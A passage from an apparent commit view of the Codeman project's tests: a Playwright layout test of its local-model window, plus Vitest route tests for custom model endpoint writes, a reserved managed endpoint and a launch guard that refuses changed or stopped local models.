* bare `CodemanApp` whose `_api` answers a fixture payload. The states themselves are pinned in
* JSDOM by test/local-model-ui.test.ts.
*
* Port: none (page.route on a fake origin, no server).
*/
import { readFileSync } from 'node:fs';
import { resolve } from 'node:path';
import { afterAll, afterEach, beforeAll, describe, expect, it } from 'vitest';
import { chromium, type Browser, type Page } from 'playwright';
const dir = resolve(import.meta.dirname, '../src/web/public');
const read = (name: string) => readFileSync(resolve(dir, name), 'utf8');
const ORIGIN = 'http://app.test/';
/**
* index.html as shipped, minus every script, with styles.css and mobile.css inlined. The
* comments go first: some of them mention a script tag, which would otherwise open a match
* that swallows the markup up to the next real one.
*/
const MARKUP = read('index.html')
.replace(/<!--[\s\S]*?-->/g, '')
.replace(/<script\b[\s\S]*?<\/script>/g, '');
const PAGE = MARKUP.replace(
'<link rel="stylesheet" href="styles.css">',
() => `<style>${read('styles.css')}</style>`
).replace(
'<link rel="stylesheet" href="mobile.css" media="(max-width: 1023px)">',
() => `<style media="(max-width: 1023px)">${read('mobile.css')}</style>`
);
const RUNTIME = 185971671;
function row(modelId: string, modelLabel: string, downloadBytes: number, downloadGb: string, over: object = {}) {
return {
modelId,
modelLabel,
license: 'Apache-2.0',
paramsB: 9,
context: 131072,
cli: 'opencode',
cliLabel: 'OpenCode',
cliInstalled: true,
needBytes: 1,
needGb: '20.0',
downloadBytes,
downloadGb,
budgetShare: 0.5,
fit: 'good',
fitLabel: 'Good',
speed: 'ok',
tested: false,
needSource: 'estimated',
harnesses: [{ cli: 'opencode', cliLabel: 'OpenCode', installed: true }],
installBytes: downloadBytes + RUNTIME,
installGb: downloadGb,
...over,
};
}
const STATUS = {
hardware: {
platform: 'darwin',
arch: 'arm64',
memBytes: 51539607552,
memGb: '51.5',
memClassGb: 48,
chip: 'Apple M5 Pro',
freeDiskBytes: 897000000000,
freeDiskGb: '897',
source: 'sysctl',
},
recommendation: {
verdict: 'ok',
headline: { text: 'Recommended for this Mac' },
notes: [],
pick: row('qwen3.6:35b-a3b', 'Qwen3.6 35B-A3B', 23105798956, '23.1', {
needGb: '36.0',
budgetShare: 0.957,
tokensPerSecond: 67.7,
tested: true,
tag: { kind: 'tested', label: 'Tested on a Mac like this' },
}),
alternatives: [
row('qwen3.8:27b', 'Qwen3.8 27B', 17741871939, '17.7', {
needGb: '30.6',
budgetShare: 0.814,
tokensPerSecond: 9.1,
tag: { kind: 'slow', label: 'Slow' },
}),
row('gpt-oss:20b', 'GPT-OSS 20B', 13793441427, '13.8', { needGb: '26.6', budgetShare: 0.709, speed: 'unknown' }),
row('qwen3.5:9b', 'Qwen3.5 9B', 6550825373, '6.6', {
needGb: '17.0',
budgetShare: 0.25,
tokensPerSecond: 28.6,
tag: { kind: 'small', label: 'Small model' },
}),
],
budgetBytes: 37580963840,
budgetGb: '37.6',
budgetSource: 'estimated',
},
catalogUpdated: '2026-11-06',
install: {
state: 'idle',
running: false,
developerTools: 'present',
runtime: { version: '0.40.15', installed: false, downloadBytes: RUNTIME, downloadGb: '0.2', unpackedGb: '0.6' },
folder: '/Users/sam/.codeman/local-model',
actions: ['install'],
},
};
type Box = { left: number; right: number; top: number; bottom: number; width: number; height: number };
/** What the page holds once the module ran on the stand-in class. */
interface PageApp {
_api: () => Promise<unknown>;
loadLocalModel(): Promise<void>;
openLocalModelWindow(): void;
}
type PageWindow = { CodemanApp: new () => PageApp; app: PageApp };
describe('the local model window (real Chromium)', () => {
let browser: Browser;
let p: Page;
beforeAll(async () => {
browser = await chromium.launch();
});
afterAll(async () => {
await browser.close();
});
afterEach(async () => {
await p?.close();
});
it('runs on the real page with both stylesheets in it', () => {
expect(MARKUP).toContain('id="localModelModal"');
expect(MARKUP.includes('<script')).toBe(false);
expect(PAGE.includes('.lm-bar-fill {')).toBe(true);
expect(PAGE.includes('<style media="(max-width: 1023px)">')).toBe(true);
expect(PAGE.includes('href="styles.css"')).toBe(false);
});
/** The real page at a width, the module loaded, the answer in, the window closed. */
async function load(width: number, height = 900) {
p = await browser.newPage({ viewport: { width, height }, deviceScaleFactor: 1 });
// No motion: the bar is at its width as soon as it is painted, so nothing here waits on a clock.
await p.emulateMedia({ reducedMotion: 'reduce' });
await p.route('**/*', (route) =>
route.request().url() === ORIGIN
? route.fulfill({ contentType: 'text/html', body: PAGE })
: route.fulfill({ status: 404, body: '' })
);
await p.goto(ORIGIN);
await p.addScriptTag({ content: `function CodemanApp() {}\n${read('local-model-ui.js')}` });
await p.evaluate(async (status) => {
const w = window as unknown as PageWindow;
document.body.classList.add('app-loaded');
document.getElementById('welcomeOverlay')!.classList.add('visible');
w.app = new w.CodemanApp();
w.app._api = async () => ({ ok: true, status: 200, json: async () => ({ success: true, data: status }) });
await w.app.loadLocalModel();
}, STATUS);
}
/** Two animation frames: whatever was just written is laid out and painted. */
const painted = () =>
p.evaluate(() => new Promise<void>((done) => requestAnimationFrame(() => requestAnimationFrame(() => done()))));
async function open() {
await p.evaluate(() => (window as unknown as PageWindow).app.openLocalModelWindow());
await painted();
}
const boxes = (selector: string) =>
p.evaluate(
(sel) =>
[...document.querySelectorAll(sel)].map((el) => {
const r = el.getBoundingClientRect();
return { left: r.left, right: r.right, top: r.top, bottom: r.bottom, width: r.width, height: r.height };
}),
selector
) as Promise<Box[]>;
const same = (values: number[]) => Math.max(...values) - Math.min(...values) <= 0.6;
it('shows the welcome button only once the server answered for a Mac', async () => {
p = await browser.newPage({ viewport: { width: 1440, height: 900 }, deviceScaleFactor: 1 });
await p.route('**/*', (route) =>
route.request().url() === ORIGIN
? route.fulfill({ contentType: 'text/html', body: PAGE })
: route.fulfill({ status: 404, body: '' })
);
await p.goto(ORIGIN);
// As shipped: `hidden`, and really not laid out although the chip class is inline-flex.
expect(await p.evaluate(() => getComputedStyle(document.getElementById('welcomeLocalModelBtn')!).display)).toBe(
'none'
);
await p.close();
await load(1440);
const [button] = await boxes('#welcomeLocalModelBtn');
expect(button.width).toBeGreaterThan(100);
// The first thing on the start screen, in the size of the primary launcher below it.
expect(Math.round(button.height)).toBe(46);
expect(await p.textContent('#welcomeLocalModelLabel')).toBe('Run a local model');
});
it('lines the numbers up down the list on a desktop, one line a row', async () => {
await load(1440);
await open();
const rows = await boxes('.lm-models .lm-model');
expect(rows).toHaveLength(4);
const names = await boxes('.lm-model-name');
const tags = await boxes('.lm-model-tag');
const speeds = await boxes('.lm-model-speed');
const sizes = await boxes('.lm-model-size');
// Every number ends on the same edge, and every tag starts on the same edge.
expect(same(sizes.map((box) => box.right))).toBe(true);
expect(same(speeds.map((box) => box.right))).toBe(true);
expect(same(tags.map((box) => box.left))).toBe(true);
expect(same(names.map((box) => box.left))).toBe(true);
// The captions sit over their columns.
const [speedCaption] = await boxes('.lm-caption-speed');
const [sizeCaption] = await boxes('.lm-caption-size');
expect(same([speedCaption.right, speeds[0].right])).toBe(true);
expect(same([sizeCaption.right, sizes[0].right])).toBe(true);
// One line: name, tag, speed and size share a row's middle.
for (let i = 0; i < rows.length; i++) {
const middle = (box: Box) => (box.top + box.bottom) / 2;
expect(Math.abs(middle(names[i]) - middle(sizes[i]))).toBeLessThan(3);
expect(Math.abs(middle(names[i]) - middle(speeds[i]))).toBeLessThan(3);
expect(names[i].right).toBeLessThanOrEqual(tags[i].left + 0.6);
expect(speeds[i].right).toBeLessThanOrEqual(sizes[i].left + 0.6);
}
// The memory panel lines up with the rows on both edges, and the bar with its figure.
const [figure] = await boxes('.lm-figure');
const [radio] = await boxes('.lm-radio');
const [bar] = await boxes('.lm-bar');
const [meter] = await boxes('.lm-meter');
expect(same([figure.left, bar.left])).toBe(true);
expect(same([meter.left, radio.left])).toBe(true);
expect(same([meter.right, sizes[0].right])).toBe(true);
});
it('fills the bar to the selected model, and the fill follows the selection', async () => {
await load(1440);
await open();
const share = async () => {
const [track] = await boxes('.lm-bar');
const [fill] = await boxes('.lm-bar-fill');
expect(Math.round(track.height)).toBe(12);
expect(Math.round(fill.height)).toBe(12);
expect(same([track.left, fill.left])).toBe(true);
return fill.width / track.width;
};
// The pick is a tight fit: the bar is nearly full, and a sliver of the track still shows.
expect(await share()).toBeCloseTo(0.96, 2);
await p.click('.lm-models .lm-model:nth-child(4)');
await painted();
expect(await share()).toBeCloseTo(0.25, 2);
await p.keyboard.press('ArrowUp');
await painted();
expect(await share()).toBeCloseTo(0.71, 2);
// The fill moves over a short moment, and stands still for a reader who wants no motion.
const duration = () =>
p.evaluate(() => getComputedStyle(document.querySelector('.lm-bar-fill')!).transitionDuration);
expect(await duration()).toBe('0s');
await p.emulateMedia({ reducedMotion: 'no-preference' });
expect(await duration()).toBe('0.32s');
await p.emulateMedia({ reducedMotion: 'reduce' });
// The track is not the window's own colour, or the free part could not be seen.
const paint = await p.evaluate(() => {
const css = (sel: string, prop: string) => getComputedStyle(document.querySelector(sel)!).getPropertyValue(prop);
// The feature's colour as the browser paints it: a custom property reads back unresolved.
const probe = document.body.appendChild(document.createElement('i'));
probe.style.color = 'var(--lm-brand)';
const brand = getComputedStyle(probe).color;
probe.remove();
return {
brand,
track: css('.lm-bar', 'background-color'),
fillImage: css('.lm-bar-fill', 'background-image'),
window: css('.local-model-window', 'background-color'),
edge: css('.lm-model-on', 'border-left-color'),
idleEdge: css('.lm-model:not(.lm-model-on)', 'border-left-color'),
};
});
expect(paint.track).not.toBe(paint.window);
expect(paint.track).not.toBe(paint.brand);
// Without a memory map the one fill runs from the feature's colour to the context's.
expect(paint.fillImage).toContain('linear-gradient');
// The selected row carries the feature's colour on its reading edge.
expect(paint.edge).toBe(paint.brand);
expect(paint.idleEdge).not.toBe(paint.brand);
});
it('stacks two lines a row under 560px, with nothing running off the side', async () => {
await load(390, 844);
await open();
const names = await boxes('.lm-model-name');
const tags = await boxes('.lm-model-tag');
const speeds = await boxes('.lm-model-speed');
const sizes = await boxes('.lm-model-size');
for (let i = 0; i < names.length; i++) {
// Name and tag, then speed and size.
expect(speeds[i].top).toBeGreaterThanOrEqual(names[i].bottom - 1);
expect(sizes[i].top).toBeGreaterThanOrEqual(names[i].bottom - 1);
expect(tags[i].top).toBeLessThan(names[i].bottom);
expect(same([names[i].left, speeds[i].left])).toBe(true);
}
expect(same(sizes.map((box) => box.right))).toBe(true);
// The window fills the phone, the bar and the button take its width, and nothing overflows.
const [win] = await boxes('.local-model-window');
expect(Math.round(win.width)).toBe(390);
expect(Math.round(win.height)).toBe(844);
const [meter] = await boxes('.lm-meter');
const [button] = await boxes('.lm-buttons button');
expect(same([meter.left, button.left])).toBe(true);
expect(same([meter.right, button.right])).toBe(true);
expect(button.height).toBeGreaterThanOrEqual(44);
const overflow = await p.evaluate(() => {
const body = document.getElementById('localModelWindowBody')!;
return body.scrollWidth - body.clientWidth;
});
expect(overflow).toBeLessThanOrEqual(0);
});
it('paints above App Settings when it is opened from there', async () => {
await load(1440);
await p.evaluate(() => document.getElementById('appSettingsModal')!.classList.add('active'));
await open();
const top = await p.evaluate(() => {
const box = document.querySelector('.local-model-window')!.getBoundingClientRect();
const hit = document.elementFromPoint(box.left + box.width / 2, box.top + 20);
return !!hit && !!hit.closest('#localModelModal');
});
expect(top).toBe(true);
});
});
File diff suppressed because it is too large. Load diff
+282 -5
View File
@@ -8,7 +8,10 @@
* been bypassed.
* Port: N/A (app.inject, no real port needed)
*/
import { describe, it, expect, vi, afterEach } from 'vitest';
import { describe, it, expect, vi, afterEach, beforeEach } from 'vitest';
import { readFileSync, rmSync, statSync, writeFileSync } from 'node:fs';
import { dataPath, getDataDir } from '../../src/config/instance.js';
import { customModelHostsPath, readCustomModelHosts, type CustomModelHost } from '../../src/custom-model-hosts.js';
import { registerCustomModelRoutes } from '../../src/web/routes/custom-model-routes.js';
import { webviewFetch } from '../../src/web/webview-egress.js';
import { createRouteTestHarness, type RouteTestHarness } from './_route-test-utils.js';
@@ -524,10 +527,9 @@ describe('context-length discovery from the /v1/models listing', () => {
defaultContextLength: 65536,
});
fetchMock.mockResolvedValue(
new Response(
JSON.stringify({ data: [{ id: 're-listed', context_length: 32768 }, { id: 'untouched' }] }),
{ status: 200 }
)
new Response(JSON.stringify({ data: [{ id: 're-listed', context_length: 32768 }, { id: 'untouched' }] }), {
status: 200,
})
);
await app.inject({ method: 'POST', url: '/api/model-endpoints/ep-ctx-keep/discover-models' });
@@ -580,3 +582,278 @@ describe('defaultContextLength (the user-set fallback discovery never overwrites
}
});
});
describe('every write goes through the serialized writer', () => {
const HOSTS = () => customModelHostsPath(getDataDir());
beforeEach(() => {
rmSync(HOSTS(), { force: true });
});
afterEach(() => {
fetchMock.mockReset();
rmSync(HOSTS(), { force: true });
vi.restoreAllMocks();
});
it('ten creates sent at once all land (each used to read, change and write on its own)', async () => {
const { app } = await setup();
const ids = Array.from({ length: 10 }, (_, i) => `burst${i}`);
const responses = await Promise.all(
ids.map((id) =>
app.inject({
method: 'POST',
url: '/api/model-endpoints',
payload: { id, label: id, baseUrl: 'http://localhost:8200', apiKey: `sk-${id}` },
})
)
);
for (const res of responses) expect(res.json().success).toBe(true);
const stored = await readCustomModelHosts(getDataDir());
expect(stored.map((host) => host.id).sort()).toEqual([...ids].sort());
// Every key survived: none of the writes replaced the list with its own record.
for (const host of stored) expect(host.apiKey).toBe(`sk-${host.id}`);
});
it('two creates of one id sent at once: one is stored, the other is told it exists', async () => {
const { app } = await setup();
const create = (label: string) =>
app.inject({
method: 'POST',
url: '/api/model-endpoints',
payload: { id: 'race', label, baseUrl: 'http://localhost:8201' },
});
const [first, second] = await Promise.all([create('one'), create('two')]);
expect([first.json().success, second.json().success].sort()).toEqual([false, true]);
expect([first.json().errorCode, second.json().errorCode]).toContain('ALREADY_EXISTS');
const stored = await readCustomModelHosts(getDataDir());
expect(stored).toHaveLength(1);
});
it('a discovery that takes a moment does not undo an edit made while it ran', async () => {
const { app } = await setup();
await app.inject({
method: 'POST',
url: '/api/model-endpoints',
payload: { id: 'slow', label: 'Before', baseUrl: 'http://localhost:8202' },
});
let answer: (response: Response) => void = () => {};
fetchMock.mockImplementation(
(async () => new Promise<Response>((resolve) => (answer = resolve))) as unknown as typeof webviewFetch
);
const discovering = app.inject({ method: 'POST', url: '/api/model-endpoints/slow/discover-models' });
await vi.waitFor(() => expect(fetchMock).toHaveBeenCalled());
// The endpoint is renamed while the probe is still out.
const renamed = await app.inject({
method: 'PUT',
url: '/api/model-endpoints/slow',
payload: { label: 'After', baseUrl: 'http://localhost:8202' },
});
expect(renamed.json().success).toBe(true);
answer(new Response(JSON.stringify({ data: [{ id: 'qwen3' }] }), { status: 200 }));
expect((await discovering).json()).toEqual({ success: true, data: { models: ['qwen3'] } });
const [stored] = await readCustomModelHosts(getDataDir());
// Both changes are there: the new name and the discovered list.
expect(stored.label).toBe('After');
expect(stored.models).toEqual(['qwen3']);
});
it('an endpoint deleted while its discovery ran stays deleted', async () => {
const { app } = await setup();
await app.inject({
method: 'POST',
url: '/api/model-endpoints',
payload: { id: 'gone', label: 'Gone', baseUrl: 'http://localhost:8203' },
});
let answer: (response: Response) => void = () => {};
fetchMock.mockImplementation(
(async () => new Promise<Response>((resolve) => (answer = resolve))) as unknown as typeof webviewFetch
);
const discovering = app.inject({ method: 'POST', url: '/api/model-endpoints/gone/discover-models' });
await vi.waitFor(() => expect(fetchMock).toHaveBeenCalled());
await app.inject({ method: 'DELETE', url: '/api/model-endpoints/gone' });
answer(new Response(JSON.stringify({ data: [{ id: 'qwen3' }] }), { status: 200 }));
expect((await discovering).json()).toMatchObject({ success: false, errorCode: 'NOT_FOUND' });
expect(await readCustomModelHosts(getDataDir())).toEqual([]);
});
it('deleting an id that is not saved leaves the file as it is', async () => {
const { app } = await setup();
await app.inject({
method: 'POST',
url: '/api/model-endpoints',
payload: { id: 'keep', label: 'Keep', baseUrl: 'http://localhost:8204' },
});
const before = { text: readFileSync(HOSTS(), 'utf8'), mtime: statSync(HOSTS()).mtimeMs };
const res = await app.inject({ method: 'DELETE', url: '/api/model-endpoints/never-saved' });
expect(res.json()).toEqual({ success: true, data: { id: 'never-saved' } });
expect(readFileSync(HOSTS(), 'utf8')).toBe(before.text);
expect(statSync(HOSTS()).mtimeMs).toBe(before.mtime);
});
describe('a store that does not parse', () => {
const BROKEN = '[{"id":"mine","label":"Mine","baseUrl":"http://localhost:9","apiKey":"sk-keep-me"},';
beforeEach(() => {
writeFileSync(HOSTS(), BROKEN);
vi.spyOn(console, 'warn').mockImplementation(() => {});
});
it.each([
['create', 'POST', '/api/model-endpoints', { id: 'new', label: 'New', baseUrl: 'http://localhost:8205' }],
['update', 'PUT', '/api/model-endpoints/mine', { label: 'Renamed', baseUrl: 'http://localhost:8205' }],
['delete', 'DELETE', '/api/model-endpoints/mine', undefined],
] as const)(
'%s is refused with 409 and the file is left byte for byte (it used to be replaced by one record)',
async (_label, method, url, payload) => {
const { app } = await setup();
const res = await app.inject({ method, url, ...(payload ? { payload } : {}) });
expect(res.statusCode).toBe(409);
expect(res.json()).toMatchObject({ success: false, errorCode: 'CONFLICT' });
expect(res.json().error).toContain('custom-model-hosts.json');
// The refusal never repeats the file, which holds a key.
expect(res.body).not.toContain('sk-keep-me');
expect(readFileSync(HOSTS(), 'utf8')).toBe(BROKEN);
}
);
it('reading still answers an empty list, as before', async () => {
const { app } = await setup();
expect((await app.inject({ method: 'GET', url: '/api/model-endpoints' })).json()).toEqual([]);
});
});
});
describe('the endpoint the local model install manages', () => {
const HOSTS = () => customModelHostsPath(getDataDir());
const STATE = () => dataPath('local-model.json');
const RECORD: CustomModelHost = {
id: 'local-ollama',
label: 'This Mac',
baseUrl: 'http://127.0.0.1:11435',
authStyle: 'bearer',
models: ['qwen3.6:35b-a3b'],
defaultModelId: 'qwen3.6:35b-a3b',
defaultContextLength: 131072,
};
/** The state file of an installed model whose connection is the record above. */
function markManaged(): void {
writeFileSync(
STATE(),
JSON.stringify({
schema: 1,
state: 'installed',
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
cli: { id: 'opencode', label: 'OpenCode' },
runtime: { version: '0.40.15', port: 11435, enabled: true },
connection: { endpointId: 'local-ollama', flagWasEnabled: false },
})
);
}
beforeEach(() => {
rmSync(STATE(), { force: true });
writeFileSync(HOSTS(), JSON.stringify([RECORD]));
});
afterEach(() => {
fetchMock.mockReset();
rmSync(STATE(), { force: true });
rmSync(HOSTS(), { force: true });
});
it('a new endpoint may not take the reserved id, whether or not a model is installed', async () => {
rmSync(HOSTS(), { force: true });
const { app } = await setup();
const res = await app.inject({
method: 'POST',
url: '/api/model-endpoints',
payload: { id: 'local-ollama', label: 'Mine', baseUrl: 'http://127.0.0.1:11434' },
});
expect(res.json()).toEqual({
success: false,
error: 'This endpoint id is reserved for the model Codeman runs on this Mac. Pick another id.',
errorCode: 'INVALID_INPUT',
});
expect(await readCustomModelHosts(getDataDir())).toEqual([]);
});
it('while it is managed it is not edited: its port stays the runtime Codeman supervises', async () => {
markManaged();
const { app } = await setup();
const res = await app.inject({
method: 'PUT',
url: '/api/model-endpoints/local-ollama',
payload: { label: 'This Mac', baseUrl: 'http://192.168.1.99:11434' },
});
expect(res.json()).toEqual({
success: false,
error:
'This endpoint belongs to the model Codeman runs on this Mac. Change or remove it in the local model window.',
errorCode: 'INVALID_INPUT',
});
expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]);
});
it('while it is managed it is not deleted from here: the runtime would keep running without it', async () => {
markManaged();
const { app } = await setup();
const res = await app.inject({ method: 'DELETE', url: '/api/model-endpoints/local-ollama' });
expect(res.json()).toMatchObject({ success: false, errorCode: 'INVALID_INPUT' });
expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]);
});
it('while it is managed a discovery answers the one model the install checked and asks the runtime nothing', async () => {
markManaged();
const { app } = await setup();
const res = await app.inject({ method: 'POST', url: '/api/model-endpoints/local-ollama/discover-models' });
expect(res.json()).toEqual({ success: true, data: { models: ['qwen3.6:35b-a3b'] } });
expect(fetchMock).not.toHaveBeenCalled();
expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]);
});
it('it is listed like any other endpoint', async () => {
markManaged();
const { app } = await setup();
const list = (await app.inject({ method: 'GET', url: '/api/model-endpoints' })).json();
expect(list).toEqual([{ ...RECORD, apiKeySet: false }]);
});
it('a record with that id that nobody installed (made by hand) can still be edited and deleted by its owner', async () => {
// No state file: this feature wrote nothing, so the record is the person's own.
const { app } = await setup();
const update = await app.inject({
method: 'PUT',
url: '/api/model-endpoints/local-ollama',
payload: { label: 'My own Ollama', baseUrl: 'http://127.0.0.1:11434' },
});
expect(update.json().success).toBe(true);
expect((await readCustomModelHosts(getDataDir()))[0].label).toBe('My own Ollama');
const del = await app.inject({ method: 'DELETE', url: '/api/model-endpoints/local-ollama' });
expect(del.json()).toEqual({ success: true, data: { id: 'local-ollama' } });
expect(await readCustomModelHosts(getDataDir())).toEqual([]);
});
it('any other endpoint is edited and deleted as before while a model is installed', async () => {
markManaged();
const { app } = await setup();
await app.inject({
method: 'POST',
url: '/api/model-endpoints',
payload: { id: 'office', label: 'Office', baseUrl: 'http://localhost:8210' },
});
const update = await app.inject({
method: 'PUT',
url: '/api/model-endpoints/office',
payload: { label: 'Office GPU', baseUrl: 'http://localhost:8210' },
});
expect(update.json().data.host.label).toBe('Office GPU');
await app.inject({ method: 'DELETE', url: '/api/model-endpoints/office' });
expect(await readCustomModelHosts(getDataDir())).toEqual([RECORD]);
});
});
@@ -0,0 +1,309 @@
/**
* @fileoverview The launch guard of the endpoint the local model install manages, at the two
* routes that put a session onto a custom model endpoint: they ask the install service before
* anything is written.
*
* - `POST /api/sessions/:id/custom-model` (a running session switches to the endpoint), and
* - `POST /api/quick-start` with `customModel` (a session is created on it)
*
* call `LocalModelService.launchRefusalMessage(endpointId, modelId)` once the endpoint is
* found and before anything is written, restarted or created. A sentence back is the answer
* (`OPERATION_FAILED`); `undefined` lets the launch go on exactly as before. That is how a
* model whose digest is no longer the one stored at install time is not launched, and how
* nothing is launched against a port our runtime is not on.
*
* Every OTHER way a new agent process comes to be on the endpoint (the attach that finds no
* pane, the respawn of a dead pane, a restart in place, the rebuild after a reboot) is
* covered below the routes, by `Session`'s launch guard: test/local-model-session-launch-guard.test.ts.
*
* The service is replaced by a fake for most cases, and is the REAL one (over the real state
* file, with no runtime running) for the cases that pin the default wiring.
*
* Port: N/A (app.inject, no real port needed)
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import Fastify, { type FastifyInstance } from 'fastify';
import fastifyCookie from '@fastify/cookie';
import { rmSync, writeFileSync } from 'node:fs';
import { rm } from 'node:fs/promises';
import { join } from 'node:path';
import { createMockRouteContext, safeRmHomeTree, type MockRouteContext } from '../mocks/index.js';
import { createRouteTestHarness } from './_route-test-utils.js';
import { installRouteErrorHandler } from '../../src/web/route-error-handler.js';
import { registerSessionRoutes } from '../../src/web/routes/session-routes.js';
import { dataPath, getDataDir } from '../../src/config/instance.js';
import { CASES_DIR } from '../../src/web/route-helpers.js';
import { Session } from '../../src/session.js';
import { writeCustomModelHosts, type CustomModelHost } from '../../src/custom-model-hosts.js';
import { webviewFetch } from '../../src/web/webview-egress.js';
import type { LocalModelService } from '../../src/local-model/install-job.js';
vi.mock('../../src/web/webview-egress.js', async () => {
const actual = await vi.importActual<typeof import('../../src/web/webview-egress.js')>(
'../../src/web/webview-egress.js'
);
return { ...actual, webviewFetch: vi.fn() };
});
const fetchMock = vi.mocked(webviewFetch);
// See test/routes/quick-start-custom-model.test.ts: the CLI availability gate runs before the
// code under test and would refuse every launch on a machine without the binary.
vi.mock('../../src/utils/cli-launcher.js', async () => {
const actual = await vi.importActual<typeof import('../../src/utils/cli-launcher.js')>(
'../../src/utils/cli-launcher.js'
);
return { ...actual, resolveCliLaunchError: vi.fn().mockResolvedValue(null) };
});
/** The service the session routes get: a fake by default, the real one where a test says so. */
const guard = vi.hoisted(() => ({
launchRefusalMessage: vi.fn<(endpointId: string, modelId: string) => Promise<string | undefined>>(),
real: undefined as LocalModelService | undefined,
}));
vi.mock('../../src/local-model/install-job.js', async () => {
const actual = await vi.importActual<typeof import('../../src/local-model/install-job.js')>(
'../../src/local-model/install-job.js'
);
return {
...actual,
getLocalModelService: () => guard.real ?? { launchRefusalMessage: guard.launchRefusalMessage },
};
});
const MANAGED: CustomModelHost = {
id: 'local-ollama',
label: 'This Mac',
baseUrl: 'http://127.0.0.1:11435',
authStyle: 'bearer',
models: ['qwen3.6:35b-a3b'],
defaultModelId: 'qwen3.6:35b-a3b',
defaultContextLength: 131072,
};
const OTHER: CustomModelHost = { id: 'ep1', label: 'llama.cpp box', baseUrl: 'http://192.168.1.50:8080', apiKey: 'k' };
const CHANGED = 'The model on this Mac changed since it was installed. Remove it and install it again.';
const STATE = () => dataPath('local-model.json');
/** The state file of an installed model whose connection is the managed record. */
function writeInstalledState(): void {
writeFileSync(
STATE(),
JSON.stringify({
schema: 1,
state: 'installed',
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072, digest: 'abc123' },
cli: { id: 'opencode', label: 'OpenCode' },
runtime: { version: '0.40.15', port: 11435, enabled: true },
connection: { endpointId: 'local-ollama', flagWasEnabled: false },
})
);
}
async function realService(): Promise<LocalModelService> {
const actual = await vi.importActual<typeof import('../../src/local-model/install-job.js')>(
'../../src/local-model/install-job.js'
);
// The real service with its real state file. No runtime was ever started by it.
return actual.createLocalModelService();
}
beforeEach(async () => {
guard.launchRefusalMessage.mockReset();
guard.launchRefusalMessage.mockResolvedValue(undefined);
guard.real = undefined;
fetchMock.mockReset();
fetchMock.mockResolvedValue(new Response('not found', { status: 404 }));
await writeCustomModelHosts(getDataDir(), [MANAGED, OTHER]);
});
afterEach(async () => {
rmSync(STATE(), { force: true });
await rm(join(getDataDir(), 'custom-model-hosts.json'), { force: true });
await rm(join(getDataDir(), 'custom-model-configs'), { recursive: true, force: true });
});
describe('POST /api/sessions/:id/custom-model on the managed endpoint', () => {
async function setup() {
const harness = await createRouteTestHarness(registerSessionRoutes);
const session = harness.ctx.sessions.get('test-session-1')!;
session.mode = 'claude';
return { ...harness, session };
}
const apply = (app: FastifyInstance, payload: Record<string, unknown>) =>
app.inject({ method: 'POST', url: '/api/sessions/test-session-1/custom-model', payload });
it('asks the install service with the endpoint and the model, before anything is applied', async () => {
const { app, session } = await setup();
const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
expect(res.statusCode).toBe(200);
expect(guard.launchRefusalMessage).toHaveBeenCalledTimes(1);
expect(guard.launchRefusalMessage).toHaveBeenCalledWith('local-ollama', 'qwen3.6:35b-a3b');
// No refusal: the model is applied and the CLI restarted, as for any endpoint.
expect(session.setCustomModel).toHaveBeenCalledTimes(1);
expect(session.restartCli).toHaveBeenCalledTimes(1);
});
it('a changed model refuses the switch in one plain sentence, and nothing is written or restarted', async () => {
const { app, session } = await setup();
guard.launchRefusalMessage.mockResolvedValue(CHANGED);
const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
expect(res.json()).toEqual({ success: false, error: CHANGED, errorCode: 'OPERATION_FAILED' });
expect(session.setCustomModel).not.toHaveBeenCalled();
expect(session.restartCli).not.toHaveBeenCalled();
// The runtime was not even asked what it has loaded.
expect(fetchMock).not.toHaveBeenCalled();
});
it('every other endpoint is asked about too, and the service lets it through', async () => {
const { app, session } = await setup();
const res = await apply(app, { endpointId: 'ep1', modelId: 'qwen3' });
expect(res.statusCode).toBe(200);
expect(guard.launchRefusalMessage).toHaveBeenCalledWith('ep1', 'qwen3');
expect(session.setCustomModel).toHaveBeenCalledTimes(1);
});
it('clearing a selection is never refused: it is the way OFF the endpoint', async () => {
const { app, session } = await setup();
guard.launchRefusalMessage.mockResolvedValue(CHANGED);
session.setCustomModel.mockReturnValue({ previousConfigDir: undefined });
const res = await apply(app, { clear: true });
expect(res.statusCode).toBe(200);
expect(guard.launchRefusalMessage).not.toHaveBeenCalled();
expect(session.setCustomModel).toHaveBeenCalledWith(undefined);
});
it('an endpoint that does not exist is still a 404 of its own, asked about nothing', async () => {
const { app } = await setup();
const res = await apply(app, { endpointId: 'nope', modelId: 'x' });
expect(res.json()).toMatchObject({ success: false, errorCode: 'NOT_FOUND' });
expect(guard.launchRefusalMessage).not.toHaveBeenCalled();
});
describe('with the real install service', () => {
it('an installed model whose runtime is not running is not switched to', async () => {
writeInstalledState();
guard.real = await realService();
const { app, session } = await setup();
const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
expect(res.json()).toEqual({
success: false,
error: 'The model on this Mac is not running. Start it first.',
errorCode: 'OPERATION_FAILED',
});
expect(session.setCustomModel).not.toHaveBeenCalled();
});
it('a record with the reserved id that nobody installed is an endpoint like any other', async () => {
// No state file: this feature wrote nothing, so there is nothing of ours to guard.
guard.real = await realService();
const { app, session } = await setup();
const res = await apply(app, { endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
expect(res.statusCode).toBe(200);
expect(session.setCustomModel).toHaveBeenCalledTimes(1);
});
it('any other endpoint is untouched by an installed model', async () => {
writeInstalledState();
guard.real = await realService();
const { app, session } = await setup();
const res = await apply(app, { endpointId: 'ep1', modelId: 'qwen3' });
expect(res.statusCode).toBe(200);
expect(session.setCustomModel).toHaveBeenCalledTimes(1);
});
});
});
describe('POST /api/quick-start with customModel on the managed endpoint', () => {
let app: FastifyInstance;
let ctx: MockRouteContext;
const quickStart = (payload: Record<string, unknown>) =>
app.inject({ method: 'POST', url: '/api/quick-start', payload });
beforeEach(async () => {
vi.spyOn(Session.prototype, 'startInteractive').mockResolvedValue(undefined);
vi.spyOn(Session.prototype, 'startShell').mockResolvedValue(undefined);
